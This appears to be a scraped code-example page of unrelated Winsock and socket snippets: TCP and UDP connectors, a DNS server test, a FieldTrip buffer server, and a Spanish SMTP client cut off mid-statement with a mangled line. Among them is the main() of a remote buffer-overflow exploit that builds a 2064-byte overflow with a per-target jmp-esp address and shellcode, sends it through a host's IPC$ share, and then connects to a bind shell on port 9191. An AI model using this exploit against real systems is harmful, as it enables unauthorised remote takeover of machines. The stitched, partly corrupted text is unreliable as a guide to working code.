                    Trace("Error closing socket\n");                
                }

                if (WSACleanup()==0 )
                {                
                    Trace("WSACleanup call failed with error code %u\n",
                        GetLastError() ); 
                }

                Fail("");
            }
            err = wsaRecvOverlapped.Internal;
        }


        /* Only WSAEWOULDBLOCK is expected */
        if(err!=WSAEWOULDBLOCK)
        {
            Trace("Server error: WSARecvFrom() "
                    "returned %d, expected WSAEWOULDBLOCK\n",
                    err );

            if (CloseHandle(hReadEvent)==0)
            {
                Trace("Server error: CloseHandle Failed ");                    
            }
            
            if (closesocket( sock )==SOCKET_ERROR)
            {
                Trace("Error closing socket\n");                
            }

            if (WSACleanup()==0 )
            {                
                Trace("WSACleanup call failed with error code %u\n",
                    GetLastError() ); 
            }
    
            Fail("");
        }     
    }       

    /* close the socket */
    err = closesocket( sock );
    if( err != 0 )
    {
        /* check the socket-specific error code */    
        dwSocketError = GetLastError();

         if (CloseHandle(hReadEvent)==0)
        {
            Trace("Server error: CloseHandle Failed ");      
        }

        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }

        Fail(   "closesocket call failed with error code %d\n",
                dwSocketError ); 
    }

    if (CloseHandle(hReadEvent)==0)
    {
        Trace("Server error: CloseHandle Failed "); 

        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }
        Fail("");
    }

    /* cleanup the winsock library */
    err = WSACleanup();
    if( err != 0 )
    {
        /* check the socket-specific error code */    
        dwSocketError = GetLastError();
        Fail(   "WSACleanup call failed with error code %d\n",
                dwSocketError ); 
    }
        
    /* PAL termination */
    PAL_Terminate();
    return PASS; 
}
示例#15
0
bool VETCSocket::connectBE()
{
	if (m_serverIP == nullptr || m_serverPort == nullptr)
		return false;

	WSADATA wsaData;

	m_socket = INVALID_SOCKET;
	struct addrinfo *result = NULL, *ptr = NULL, hints;

	int res = WSAStartup(MAKEWORD(2, 2), &wsaData);
	if (res != 0)
		return false;

	ZeroMemory(&hints, sizeof(hints));
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;

	res = getaddrinfo(m_serverIP, m_serverPort, &hints, &result);
	if (res != 0)
	{
		WSACleanup();
		return false;
	}

	for (ptr = result; ptr != NULL; ptr = ptr->ai_next)
	{
		m_socket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);

		if (m_socket == INVALID_SOCKET)
		{
			WSACleanup();
			return false;
		}

		res = connect(m_socket, ptr->ai_addr, (int)ptr->ai_addrlen);
		if (res == SOCKET_ERROR)
		{
			closesocket(m_socket);
			m_socket = INVALID_SOCKET;
		}
	}

	freeaddrinfo(result);
	if (m_socket == INVALID_SOCKET)
	{
		WSACleanup();
		return false;
	}

	u_long iMode = 1;
	res = ioctlsocket(m_socket, FIONBIO, &iMode);
	if (res == SOCKET_ERROR)
	{
		closesocket(m_socket);
		WSACleanup();
		return false;
	}

	char value = 1;
	setsockopt(m_socket, IPPROTO_TCP, TCP_NODELAY, &value, sizeof(value));
	return true;
}
示例#16
0
SOCKET CreateLpxConnection(
	IN const LPX_ADDRESS* pRemoteAddress, 
	IN const LPX_ADDRESS* pLocalAddress,
	IN USHORT usRemotePort)
{
	SOCKADDR_LPX saLocalSockAddr;
	SOCKADDR_LPX saRemoteSockAddr;

	//
	// create a socket
	// 
	SOCKET sock = socket(AF_UNSPEC, SOCK_STREAM, IPPROTO_LPXTCP);
	if (INVALID_SOCKET == sock) {
		// Cannot create socket
		DBGPRT_ERR_EX(_FT("Socket creation failed: "));
		return INVALID_SOCKET;
	}

	//
	// initialize local address struct
	//
	ZeroMemory(&saLocalSockAddr, sizeof(SOCKADDR_LPX));
	saLocalSockAddr.sin_family = AF_LPX;
	CopyMemory(saLocalSockAddr.LpxAddress.Node, pLocalAddress->Node, 6);

	//
	// bind a socket to the specified local address
	//
	int iResult = ::bind(
		sock,
		(struct sockaddr *) &saLocalSockAddr,
		sizeof(SOCKADDR_LPX));

	if (0 != iResult) {
		DBGPRT_ERR_EX(_FT("bind failed: "));
		closesocket(sock);
		return INVALID_SOCKET;
	}

	//
	// initialize remote address struct
	//
	ZeroMemory(&saRemoteSockAddr, sizeof(SOCKADDR_LPX));
	saRemoteSockAddr.sin_family = AF_LPX;
	CopyMemory(saRemoteSockAddr.LpxAddress.Node, pRemoteAddress->Node, 6);
	saRemoteSockAddr.LpxAddress.Port = htons(usRemotePort);

	//
	// connect to the remote host
	//
	iResult = ::connect(
		sock,
		(struct sockaddr *) &saRemoteSockAddr,
		sizeof(SOCKADDR_LPX));

	if (0 != iResult) {
		::closesocket(sock);
		return INVALID_SOCKET;
	}

	return sock;
}
示例#17
0
static void
dns_server(void)
{
	int sock;
	struct sockaddr_in my_addr;
	struct evdns_server_port *port;
	struct in_addr resolve_addr;

	dns_ok = 1;
	fprintf(stdout, "DNS server support: ");

	/* Add ourself as the only nameserver, and make sure we really are
	 * the only nameserver. */
	evdns_nameserver_ip_add("127.0.0.1:35353");
	if (evdns_count_nameservers() != 1) {
		fprintf(stdout, "Couldn't set up.\n");
		exit(1);
	}

	/* Now configure a nameserver port. */
	sock = socket(AF_INET, SOCK_DGRAM, 0);
	if (sock == -1) {
		perror("socket");
		exit(1);
	}
#ifdef WIN32
	{
		u_long nonblocking = 1;
		ioctlsocket(sock, FIONBIO, &nonblocking);
	}
#else
	fcntl(sock, F_SETFL, O_NONBLOCK);
#endif
	memset(&my_addr, 0, sizeof(my_addr));
	my_addr.sin_family = AF_INET;
	my_addr.sin_port = htons(35353);
	my_addr.sin_addr.s_addr = htonl(0x7f000001UL);
	if (bind(sock, (struct sockaddr*)&my_addr, sizeof(my_addr)) < 0) {
		perror("bind");
		exit (1);
	}
	port = evdns_add_server_port(sock, 0, dns_server_request_cb, NULL);

	/* Send two queries. */
	evdns_resolve_ipv4("zz.example.com", DNS_QUERY_NO_SEARCH,
					   dns_server_gethostbyname_cb, NULL);
	evdns_resolve_ipv6("zz.example.com", DNS_QUERY_NO_SEARCH,
					   dns_server_gethostbyname_cb, NULL);
	resolve_addr.s_addr = htonl(0xc0a80b0bUL); /* 192.168.11.11 */
	evdns_resolve_reverse(&resolve_addr, 0,
						  dns_server_gethostbyname_cb, NULL);

	event_dispatch();

	if (dns_ok) {
		fprintf(stdout, "OK\n");
	} else {
		fprintf(stdout, "FAILED\n");
		exit(1);
	}

	evdns_close_server_port(port);
	evdns_shutdown(0); /* remove ourself as nameserver. */
#ifdef WIN32
	closesocket(sock);
#else
	close(sock);
#endif
}
示例#18
0
TcpConnection TcpConnector::connect(const Ipv4Address& address, uint16_t port) {
  assert(dispatcher != nullptr);
  assert(context == nullptr);
  if (dispatcher->interrupted()) {
    throw InterruptedException();
  }

  std::string message;
  SOCKET connection = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (connection == INVALID_SOCKET) {
    message = "socket failed, " + errorMessage(WSAGetLastError());
  } else {
    sockaddr_in bindAddress;
    bindAddress.sin_family = AF_INET;
    bindAddress.sin_port = 0;
    bindAddress.sin_addr.s_addr = INADDR_ANY;
    if (bind(connection, reinterpret_cast<sockaddr*>(&bindAddress), sizeof bindAddress) != 0) {
      message = "bind failed, " + errorMessage(WSAGetLastError());
    } else {
      GUID guidConnectEx = WSAID_CONNECTEX;
      DWORD read = sizeof connectEx;
      if (connectEx == nullptr && WSAIoctl(connection, SIO_GET_EXTENSION_FUNCTION_POINTER, &guidConnectEx, sizeof guidConnectEx, &connectEx, sizeof connectEx, &read, NULL, NULL) != 0) {
        message = "WSAIoctl failed, " + errorMessage(WSAGetLastError());
      } else {
        assert(read == sizeof connectEx);
        if (CreateIoCompletionPort(reinterpret_cast<HANDLE>(connection), dispatcher->getCompletionPort(), 0, 0) != dispatcher->getCompletionPort()) {
          message = "CreateIoCompletionPort failed, " + lastErrorMessage();
        } else {
          sockaddr_in addressData;
          addressData.sin_family = AF_INET;
          addressData.sin_port = htons(port);
          addressData.sin_addr.S_un.S_addr = htonl(address.getValue());
          TcpConnectorContext context2;
          context2.hEvent = NULL;
          if (connectEx(connection, reinterpret_cast<sockaddr*>(&addressData), sizeof addressData, NULL, 0, NULL, &context2) == TRUE) {
            message = "ConnectEx returned immediately, which is not supported.";
          } else {
            int lastError = WSAGetLastError();
            if (lastError != WSA_IO_PENDING) {
              message = "ConnectEx failed, " + errorMessage(lastError);
            } else {
              context2.context = dispatcher->getCurrentContext();
              context2.connection = connection;
              context2.interrupted = false;
              context = &context2;
              dispatcher->getCurrentContext()->interruptProcedure = [&]() {
                assert(dispatcher != nullptr);
                assert(context != nullptr);
                TcpConnectorContext* context2 = static_cast<TcpConnectorContext*>(context);
                if (!context2->interrupted) {
                  if (CancelIoEx(reinterpret_cast<HANDLE>(context2->connection), context2) != TRUE) {
                    DWORD lastError = GetLastError();
                    if (lastError != ERROR_NOT_FOUND) {
                      throw std::runtime_error("TcpConnector::stop, CancelIoEx failed, " + lastErrorMessage());
                    }

                    context2->context->interrupted = true;
                  }

                  context2->interrupted = true;
                }
              };

              dispatcher->dispatch();
              dispatcher->getCurrentContext()->interruptProcedure = nullptr;
              assert(context2.context == dispatcher->getCurrentContext());
              assert(context2.connection == connection);
              assert(dispatcher != nullptr);
              assert(context == &context2);
              context = nullptr;
              DWORD transferred;
              DWORD flags;
              if (WSAGetOverlappedResult(connection, &context2, &transferred, FALSE, &flags) != TRUE) {
                lastError = WSAGetLastError();
                if (lastError != ERROR_OPERATION_ABORTED) {
                  message = "ConnectEx failed, " + errorMessage(lastError);
                } else {
                  assert(context2.interrupted);
                  if (closesocket(connection) != 0) {
                    throw std::runtime_error("TcpConnector::connect, closesocket failed, " + errorMessage(WSAGetLastError()));
                  } else {
                    throw InterruptedException();
                  }
                }
              } else {
                assert(transferred == 0);
                assert(flags == 0);
                DWORD value = 1;
                if (setsockopt(connection, SOL_SOCKET, SO_UPDATE_CONNECT_CONTEXT, reinterpret_cast<char*>(&value), sizeof(value)) != 0) {
                  message = "setsockopt failed, " + errorMessage(WSAGetLastError());
                } else {
                  return TcpConnection(*dispatcher, connection);
                }
              }
            }
          }
        }
      }
    }

    int result = closesocket(connection);
    assert(result == 0);
  }

  throw std::runtime_error("TcpConnector::connect, " + message);
}
示例#19
0
unsigned int init_TCP_client ( Media_TCP MediaName, char *processor_name )
{
  char              *server_name = NULL ;
  unsigned int      addr ;
  int               socket_type = SOCK_STREAM ;
  struct sockaddr_in server ;
  struct hostent     *hp ;
  SOCKET            conn_socket ;
  int status;
  server_name = processor_name ;
  if ( begin_socklib() == SOCKET_ERROR )
  {
    fprintf(stderr, "WSAStartup failed with error %d\n", WSAGetLastError());
    end_socklib();
    return -1 ;
  }
  //
  // Attempt to detect if we should call gethostbyname() or
  // gethostbyaddr()
  if ( isalpha(server_name [0]) )
  {

    /* server address is a name */
    hp = gethostbyname(server_name);
  }
  else
  {

    /* Convert nnn.nnn address to a usable one */
    addr = inet_addr(server_name);
    hp = gethostbyaddr((char *)&addr, 4, AF_INET);
  }
  if ( hp == NULL )
  {
    fprintf(stderr, "Client: Cannot resolve address [%s]: Error %d\n" , server_name, WSAGetLastError());
    end_socklib();
    exit(-10);
  }
  //
  // Copy the resolved information into the sockaddr_in structure
  //
  memset(&server, 0, sizeof(server));
  memcpy(&server.sin_addr, hp -> h_addr, hp -> h_length);
  server.sin_family = hp -> h_addrtype ;
  server.sin_port = htons(MediaName.port);
  conn_socket = socket(AF_INET, socket_type, 0); /* Open a socket */
  if ( conn_socket < 0 )
  {
    fprintf(stderr, "Client: Error Opening socket: Error %d\n" , WSAGetLastError());
    end_socklib();
    exit(-11) ;
  }


  printf("Client connecting to: %s\n", hp -> h_name);
  status=connect(conn_socket, (struct sockaddr *)&server, sizeof(server));
  while ( (status)== SOCKET_ERROR )
  {
    fprintf(stderr, "connect() failed: %d\n", WSAGetLastError());
    //WSACleanup();
	closesocket(conn_socket);

	conn_socket = socket(AF_INET, socket_type, 0);
	Sleep(1000);
	printf("Client connecting to: %s\n", hp -> h_name);
	status=connect(conn_socket, (struct sockaddr *)&server, sizeof(server));
    //return -1 ;
  }
  return ((int)conn_socket);
}
示例#20
0
//---------------------------------------------------------------------------
bool TUDP::Open(char * local, WORD lport, char * dest, WORD dport)
{
  Error = 0;
  WSAError = 0;

  if( handle || !local || !dest )
  {
    WSAError = MYERROR_UNKNOWNPARAMS;
    Error = 1;
    if( Exceptions ) throw 0;
    return !Error;
  }

  in_addr l;
  l.S_un.S_addr = inet_addr(local);
  if( l.S_un.S_addr==4294967295 ) // host name OR error in IP address
  {
    // try to resolve host name and copy to l
    HOSTENT * hostent = gethostbyname(local);
    if( hostent )
    {
      // hostent->h_name ---> Full local name
      l.S_un = ((in_addr *)hostent->h_addr_list[0])->S_un;
    }
    else
    {
      //l.S_un.S_addr = INADDR_ANY; // Локальный адрес может быть нулевым
      WSAError = WSAGetLastError();
      Error = 2;
      if( Exceptions ) throw 0;
      return !Error;
    }
  }

  in_addr d;
  d.S_un.S_addr = inet_addr(dest);
  if( d.S_un.S_addr==4294967295 ) // host name OR error in IP address
  {
    // try to resolve host name and copy to d
    HOSTENT * hostent = gethostbyname(dest);
    if( hostent )
    {
      // hostent->h_name ---> Full dest name
      d.S_un = ((in_addr *)hostent->h_addr_list[0])->S_un;
    }
    else
    {
      //d.S_un.S_addr = INADDR_ANY; // Удаленный адрес может быть нулевым
      WSAError = WSAGetLastError();
      Error = 3;
      if( Exceptions ) throw 0;
      return !Error;
    }
  }

  SOCKET h;

  // open a TCP socket
  h = socket(AF_INET, SOCK_DGRAM, 0);
  if( h==INVALID_SOCKET )
  {
    WSAError = WSAGetLastError();
    Error = 4;
    if( Exceptions ) throw 0;
    return !Error;
  }

  // Bind our server to the agreed upon port number. See commdef.h for the actual port number
  memset(&localAddr, 0, sizeof(localAddr));
  localAddr.sin_family = AF_INET;
  localAddr.sin_port = htons(lport);
  localAddr.sin_addr = l;

  if( bind(h, (struct sockaddr *)&localAddr, sizeof(localAddr)) )
  {
    WSAError = WSAGetLastError();
    Error = 6;
    closesocket(h);
    if( Exceptions ) throw 0;
    return !Error;
  }

  memset(&destAddr, 0, sizeof(destAddr));
  destAddr.sin_family = AF_INET;
  destAddr.sin_port = htons(dport);
  destAddr.sin_addr = d;

  if( dport > 0 )
  {
    if( connect(h, (sockaddr *)&destAddr, sizeof(destAddr)) )
    {
      WSAError = WSAGetLastError();
      Error = 7;
      closesocket(h);
      if( Exceptions ) throw 0;
      return !Error;
    }
  }
  // Получим локальный адрес и порт, к которому мы прибиндились
  int addr_len = sizeof(localAddr);
  if( getsockname(h, (struct sockaddr *)&localAddr, &addr_len) )
  {
    WSAError = WSAGetLastError();
    Error = 8;
    closesocket(h);
    if( Exceptions ) throw 0;
    return !Error;
  }

  handle = h;
  Connected = true;

  return ! Error;
}
示例#21
0
/***********************************************************************
 * this thread listens to incoming TCP/UNIX domain socket connections
 * if a connection is made by a client, it starts _buffer_socket_func
 ***********************************************************************/
void *_buffer_server_func(void *arg) {
	ft_buffer_server_t *SC = (ft_buffer_server_t *) arg;
	int n;
	
	if (SC == NULL) {
		fprintf(stderr, "FieldTrip buffer server thread started with invalid argument\n");
		return NULL;
	}
	
	
	while (SC->keepRunning) {
		SOCKET c;
		fd_set readSet;
		int sel, rc, merge;
		pthread_t tid;
		ft_buffer_socket_t *CC;
		struct timeval tv = {0,10000};	/* 10 ms for select timeout */

		FD_ZERO(&readSet);
		FD_SET(SC->serverSocket, &readSet);

		sel = select((int) SC->serverSocket + 1, &readSet, NULL, NULL, &tv);
		
		if (sel == 0) continue;
		
		/* The following code portion looks weird because of the preprocessor
			defines splitting an if/else clause, but it's just what we want:
			On Windows, there is no if/else clause, and the second (TCP) bit
			is always called. On POSIX systems, we branch depending on whether
			the server runs a local domain socket or TCP socket.
		*/
#ifndef WIN32		
		if (SC->isUnixDomain) {
			struct sockaddr_un sa;
			socklen_t size_sa = sizeof(sa);
			
			c = accept(SC->serverSocket, (struct sockaddr *)&sa, &size_sa);
			
			if (c == INVALID_SOCKET) {
				perror("buffer_server, accept");
				continue;
			}
			/* never merge packets for (local) UNIX sockets */
			merge = 0;
		} else 
#endif		
		{
			struct sockaddr_in sa;
			socklen_t size_sa = sizeof(sa);
			
			c = accept(SC->serverSocket, (struct sockaddr *)&sa, &size_sa);
			
			if (c == INVALID_SOCKET) {
				perror("buffer_server, accept");
				continue;
			}
			/* enable packet merging only if it's not localhost */
			merge = (sa.sin_addr.s_addr == htonl(INADDR_LOOPBACK)) ? 0 : 1;
		}
		
		CC = (ft_buffer_socket_t *) malloc(sizeof(ft_buffer_socket_t));
		if (CC==NULL) {
			fprintf(stderr, "Out of memory\n");
			closesocket(c);
			continue;
		}
		
		CC->server = SC;
		CC->clientSocket = c;
		CC->mergePackets = merge;
		
		rc = pthread_create(&tid, NULL, _buffer_socket_func, CC);
		if (rc) {
			fprintf(stderr, "tcpserver: return code from pthread_create() is %d\n", rc);
			closesocket(c);
			free(CC);
		}
	}
	while ((n=SC->numClients)>0) {
		printf("Waiting for %i remaining client threads to stop...\n", n);
		usleep(10000);
	}
	pthread_mutex_lock(&SC->lock);
	SC->numClients--;
	pthread_mutex_unlock(&SC->lock);
	return NULL;
}
// ***************************************************************
int main(int argc,char *argv[])
{
	WSADATA wsdata;
	int sock;
	unsigned short port = 9191;
	struct sockaddr_in target;
	unsigned long ip;
	char opt;
	int tgt_type = 0;
	char *tgt_host;

	if (argc<2) { usage(argv[0]); }

	while((opt = getopt(argc,argv,"h:t:v"))!=EOF) {
		switch(opt)
		{
			case 'h':
				tgt_host = optarg;
				snprintf(tgt_net,127, "\\\\%s", optarg);
				snprintf(ipc,127, "\\\\%s\\ipc$", optarg);
				break;
			case 't':
				tgt_type = atoi(optarg);
				if (tgt_type == 0 || tgt_type > sizeof(targets) / 8) {
					showtargets();
				}
				break;
			default:
				usage(argv[0]);
				break;
		}
	}

	printf("\n[+] Prepare exploit string\n");

	memset(expl, 0x00, sizeof(expl));
	memset(expl, 0x41, 2064);
	memcpy(&expl[2044], (unsigned char *) &targets[tgt_type-1].jmpesp, 4);
	//memcpy(&expl[2044], "BBBB", 4);
	memcpy(&expl[2064], shellcode, sizeof(shellcode));		// begin shellcode here

	memset(expl_uni, 0x00, sizeof(expl_uni));
	memset(tgt_net_uni, 0x00, sizeof(tgt_net_uni));
	mbstowcs(tgt_net_uni, tgt_net, sizeof(tgt_net));

	switch(tgt_type) {
		case 1:
		case 3:
			MultiByteToWideChar(CP_ACP, 0, expl, sizeof(expl), (unsigned short *)expl_uni,sizeof(expl_uni));
			// MultiByteToWideChar - 100 % work at XP+SP0+Rollup
			break;
		case 2:
			mbstowcs(expl_uni, expl, sizeof(expl)); // work at XP+SP1
			break;
		default:
			mbstowcs(expl_uni, expl, sizeof(expl));
			break;
	}

	beginthread(send_exp,0,NULL);

	printf("[+] Sleep at 2s ... \n");
	sleep(2000);

	if (WSAStartup(MAKEWORD(2,0),&wsdata)!=0) {
		printf("[x] WSAStartup error...\n");
		WSACleanup();
        return 1;
	}
	printf("[+] Initialize WSAStartup - OK\n");

	if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {

		printf("[x] Socket not initialized! Exiting...\n");
		WSACleanup();
        return 1;
	}
	printf("[*] Socket initialized - OK\n");

	ip=gimmeip(tgt_host);
	memset(&target, 0, sizeof(target));
	target.sin_family=AF_INET;
	target.sin_addr.s_addr = ip;
	target.sin_port=htons(port);

	printf("[+] Try connecting to %s:%d ...\n",tgt_host,port);

	if(connect(sock,(struct sockaddr *)&target, sizeof(target))!=0) {
			printf("\n[x] Exploit failed or is Filtred. Exiting...\n");
			WSACleanup();
			exit(1);
	}

	printf("[*] Connected to shell at %s:%d\n\n",inet_ntoa(target.sin_addr),port);
	cmdshell2(sock);
	closesocket(sock);
	WSACleanup();
	return 0;
}
示例#23
0
/************************************************************************
 * This function deals with the incoming client requests in a loop until
 * the user requests to stop the server, or until the remote side closes
 * the connection. The implementation follows the idea of a state machine
 * with the four different states:
 *   state = 0 means we are waiting for a request to come in, or we are
 *             in the process of reading the first 8 bytes (the "def" part)
 *   state = 1 means we are in the process of reading the remainder of
 *             the request (the "buf" part")
 *   state = 2 means we are in the process of writing the response (def)
 *   state = 3 means ... writing the 2nd. part of the response ("buf")
 *
 * On top of those 4 states, we maintain two variables "bytesDone" and
 * "bytesTotal" that determine how many bytes we've read/written within
 * the current state, and how many bytes we need to process in total,
 * and a variable "curPtr" which points to the memory region we currently
 * need to read into, or write from. Whether any action is actually taken
 * inside the while loop also depends on the state of the socket which
 * we find out using "select" (and then set "canRead" + "canWrite" flags).
 *
 * Depending on the nature of the request, we might skip states 1 and 3.
 * This is the case if there is no "buf" attached to the message, or if
 * an outgoing message can be merged in to a single packet.
 * 
 * The actual processing of the message happens before moving to state 2
 * and consists of 
 *   1) possibly swapping the message to native endianness
 *   2) calling dmarequest or the user-supplied callback function
 *   3) possibly swapping back to remote endianness
 ************************************************************************/
void *_buffer_socket_func(void *arg) {
	SOCKET sock;
	ft_buffer_server_t *SC;
	int mergePackets;
	messagedef_t reqdef;
	message_t request;
	message_t *response = NULL;
	int state=0; /* 0 = reading def, 1=reading buf, 2=writing def, 3=writing buf */
	int bytesDone, bytesTotal;
	char mergeBuffer[MERGE_THRESHOLD];
	char *curPtr;	/* points at buffer that needs to be filled or written out */
	int swap = 0;	
	int canRead, canWrite;
	UINT16_T reqCommand;
	UINT32_T respBufSize;
	fd_set readSet, writeSet;

	if (arg==NULL) return NULL;
		
	/* copy over necessary variables and free the given structure */
	SC 			 = ((ft_buffer_socket_t *) arg)->server;
	sock 		 = ((ft_buffer_socket_t *) arg)->clientSocket;
	mergePackets = ((ft_buffer_socket_t *) arg)->mergePackets;
	free(arg);
	
	if (SC->verbosity > 0) {
		printf("Started new client thread with packet merging = %i\n", mergePackets);
	}
	
    pthread_mutex_lock(&SC->lock);
    SC->numClients++;
    pthread_mutex_unlock(&SC->lock);

	request.def = &reqdef;
	request.buf = NULL;
	bytesDone = 0;
	bytesTotal = sizeof(messagedef_t);
	curPtr = (char *) request.def;

	while (SC->keepRunning) {
		int sel, res, n;
		struct timeval tv = {0, 10000}; /* 10ms */
	
		FD_ZERO(&readSet);
		FD_ZERO(&writeSet);
		if (state < 2) {
			FD_SET(sock, &readSet);
		} else {
			FD_SET(sock, &writeSet);
		}
		sel = select((int) sock+1, &readSet, &writeSet, NULL, &tv);
		if (sel == 0) continue;
		if (sel < 0) {
			fprintf(stderr, "Error in 'select' operation - closing client connection.\n");
			break;
		}
		canRead = FD_ISSET(sock, &readSet);
		canWrite = FD_ISSET(sock, &writeSet);
		
		if (canRead) {
			n = recv(sock, curPtr + bytesDone, bytesTotal - bytesDone, 0);
			if (n<=0) {
				/* socket was closed */
				if (SC->verbosity>0) {
					printf("Remote side closed client connection\n");
				}
				break;
			}
			bytesDone+=n;
			if (bytesDone<bytesTotal) continue;
			
			if (state == 0) {
				/* we've read the request.def completely */
				if (reqdef.version==VERSION_OE) {
					swap = 1;
					ft_swap16(2, &reqdef.version); /* version + command */
					ft_swap32(1, &reqdef.bufsize);
					reqCommand = reqdef.command;		
				}
				if (reqdef.version!=VERSION) {
					fprintf(stderr,"Incorrect version requested - closing socket.\n");
					break;
				}
				if (reqdef.bufsize > 0) {
					request.buf = malloc(reqdef.bufsize);
					if (request.buf == NULL) {
						fprintf(stderr, "Out of memory\n");
						break;
					}
					curPtr = request.buf;
					bytesDone = 0;
					bytesTotal = reqdef.bufsize;
					state = 1;
					continue;
				} 
			} else {
				/* Reaching this point means that the state=1, and that we've 
				   read request.buf completely, so swap the endianness if 
				   necessary, and then move on to handling the request.
				*/	
				if (swap) ft_swap_buf_to_native(reqCommand, reqdef.bufsize, request.buf);
			}
			
			/* Request has been read completely, now deal with it */
			if (SC->callback != NULL) {
				/* User supplied a callback function in ft_start_buffer_server */
				res = SC->callback(&request, &response, SC->user_data);
				if (res != 0 || response == NULL || response->def == NULL) {
					fprintf(stderr, "buffer_socket_func: an unexpected error occurred in user-defined request handler\n");
					break;
				}
			} else {
				/* No callback, use normal dmarequest */
				res = dmarequest(&request, &response);
				if (res != 0 || response == NULL || response->def == NULL) {
					fprintf(stderr, "buffer_socket_func: an unexpected error occurred in dmarequest\n");
					break;
				}
			}
			
			/* Ok, the request has been handled, results are in response.
			   We can free the memory pointed to by request.buf ...
			*/
			if (request.buf != NULL) {
				free(request.buf);
				request.buf = NULL;
			}
			
			/* ... swap the response to the remote endianness, if necessary ... */
			respBufSize = response->def->bufsize;
			if (swap) ft_swap_from_native(reqCommand, response);
		
			/* ... and then start writing back the response. To reduce latency,
			   we try to merge response->def and response->buf if they are small, 
			   so we can send it in one go over TCP. To fit the merged packet into 
			   our state machine logic, we apply a trick and jump to state=3 directly,
			   where "curPtr" points to the merged packet.
			   Otherwise, we move to state=2, transmit response->def, move to state=3,
			   and there transmit response->buf.
			*/
			if (mergePackets && respBufSize > 0 && respBufSize + sizeof(messagedef_t) <= MERGE_THRESHOLD) {
				memcpy(mergeBuffer, response->def, sizeof(messagedef_t));
				memcpy(mergeBuffer + sizeof(messagedef_t), response->buf, respBufSize);
				
				curPtr = mergeBuffer;
				bytesDone = 0;
				bytesTotal = respBufSize + sizeof(messagedef_t);
				state = 3;
			} else {
				curPtr = (char *) response->def;
				bytesDone = 0;
				bytesTotal = sizeof(messagedef_t);
				state = 2;
			}
			canWrite = 1;
		}
		
		if (state >= 2 && canWrite) {
			n = send(sock, curPtr + bytesDone, bytesTotal - bytesDone, 0);
			if (n<=0) {
				/* socket was closed */
				fprintf(stderr, "Cannot write to socket -- closing client connection.\n");
				break;
			}
			bytesDone+=n;
			if (bytesDone < bytesTotal) continue;
			if (state==2 && respBufSize > 0) {
				curPtr = (char *) response->buf;
				bytesDone = 0;
				bytesTotal = respBufSize;
				state = 3;
				continue;
			}
			/* Reaching this point means we are done with writing out the response,
			   so we will now free the allocated memory, and reset to state=0.
			*/
			if (response->buf) free(response->buf);
			free(response->def);
			free(response);
			response = NULL;
			state = 0;
			curPtr = (char *) request.def;
			bytesDone = 0;
			bytesTotal = sizeof(messagedef_t);
		}
	}
	
    pthread_mutex_lock(&SC->lock);
    SC->numClients--;
    pthread_mutex_unlock(&SC->lock);
	
	closesocket(sock);
	if (request.buf!=NULL) free(request.buf);
    if (response!=NULL) {
		if (response->buf!=NULL) free(response->buf);
		if (response->def!=NULL) free(response->def);
		free(response);
	}
	
	return NULL;
}
示例#24
0
int main(int *argc, char *argv[])
{
	//Declaracion de variables
	SOCKET sockfd;
	struct sockaddr_in server_in;
	char buffer_in[2048],comprueba[1024], buffer_out[2048];
	int recibidos=0,enviados=0;
	int fallo_len=0;
	int estado;
	char option;
	int intentos;
	char username[30],destinatario[30],asunto[30],fecha[1024],mensaje[1024]="",entrada [1024]=".";
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	int salir;
	struct hostent *host;
	struct in_addr address;
	int ipdestl;
    char ipdest[16];
	char default_ip[16]="127.0.0.1";
	system("color 0F");
	//Inicialización Windows sockets
	wVersionRequested=MAKEWORD(1,1);
	err=WSAStartup(wVersionRequested,&wsaData);
	if(err!=0)
		return(0);

	if(LOBYTE(wsaData.wVersion)!=1||HIBYTE(wsaData.wVersion)!=1)
	{
		WSACleanup();
		return(0);
	}
	//Fin: Inicialización Windows sockets

	do{
		
		sockfd=socket(AF_INET,SOCK_STREAM,0);	//Creación del socket

		if(sockfd==INVALID_SOCKET)//Comprobación de posible fallo				
		{
			printf("ERROR AL CREAR SOCKET\r\n");
			exit(-1);
		}
		else
		{
			do{
				system("cls");
				head();
				printf("Introduzca la IP del servidor SMTP (pulsar enter para IP por defecto): ");
				gets(ipdest);
			
				if (strncmp(ipdest,"QUIT",4)==0){
					return 1;
				}
				else{
						salir=1;
						ipdestl=inet_addr(ipdest);
						if (ipdestl==INADDR_NONE){
							host=gethostbyname(ipdest);
							if (host!=NULL){
								memcpy(&address,host->h_addr_list[0],4);
								server_in.sin_addr=address;	//IP del servidor
							}
							else{
								printf("Error dominio incorrecto\r\n");
								system("pause null");
								salir=0;
							}
				
						}
						else
						{
							if (strcmp(ipdest,"")==0){
								strcpy(ipdest,default_ip);
							}
							server_in.sin_addr.s_addr=inet_addr(ipdest);//IP del servidor
						}
				}
			}while(salir==0);
			printf("%s\r\n",inet_ntoa(server_in.sin_addr));
			system("pause>nul");
			//Parametros iniciales
			server_in.sin_family=AF_INET;	//Familia IP
			server_in.sin_port=htons(TCP_SERVICE_PORT);		//Puerto Que vamos a usar
			
			
			enviados=0;
			estado=S_HELO;
			intentos=0;
		
			// establece la conexion de transporte
			if(connect(sockfd,(struct sockaddr*)&server_in,sizeof(server_in))==0)
			{
				//Recibo
				recibidos=recv(sockfd,buffer_in,512,0);
				if(recibidos<=0){
					DWORD error=GetLastError();
					if(recibidos<0)
					{
						printf("Error %d en la recepción de datos\r\n",error);
						estado=S_QUIT;
					}
					else
					{
						printf("Conexión con el servidor cerrada\r\n");
						estado=S_QUIT;
					}
				}
				
				do{
					
					//MAQUINA DE ESTADOS
					switch(estado)
					{
					case S_RSET:
						sprintf_s(buffer_out,sizeof(buffer_out),"%s%s",RS,CRLF);
						system("cls");
						head();
						estado=S_HELO;
						break;
					case S_HELO:
						system("cls");
						head();
						sprintf_s(buffer_out,sizeof(buffer_out),"%s%s",HI,CRLF);
						break;
					case S_USER:
						printf("Username: "******"MAIL FROM:<%s>%s",username,CRLF);
						break;
					case S_ADDRESSEE:
						printf("Destinatario: ");
						gets(destinatario);
